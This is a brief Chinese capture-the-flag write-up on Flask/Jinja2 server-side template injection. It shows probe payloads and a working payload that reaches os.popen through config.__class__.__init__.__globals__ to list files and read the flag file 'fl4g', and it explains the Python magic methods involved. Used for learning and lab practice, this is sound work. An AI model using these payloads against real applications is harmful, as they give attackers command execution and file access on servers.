题目
题目提示python模板注入
从零学习flask模板注入 - FreeBuf网络安全行业门户
在Jinja2模板引擎中,{{}}是变量包裹标识符。{{}}并不仅仅可以传递变量,还可以执行一些简单的表达式
playload
{{8*8}}
表达式被执行了
{{config}}查看config文件,测试配置文件是否有被禁用
直接查看服务器的本地文件有哪些,
playload:/{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}
class:用来查看变量所属的类,根据前面的变量形式可以得到其所属的类。
init 初始化类,返回的类型是function
globals[] 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
os.popen() 方法用于从一个命令打开一个管道。
魔术方法
__class__ 返回类型所属的对象
__mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__base__ 返回该对象所继承的基类 // __base__和__mro__都是用来寻找基类的__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__ 类的初始化方法
__globals__ 对包含函数全局变量的字典的引用
返回了fl4g,读取fl4g
/{{ config.__class__.__init__.__globals__['os'].popen('cat fl4g').read() }}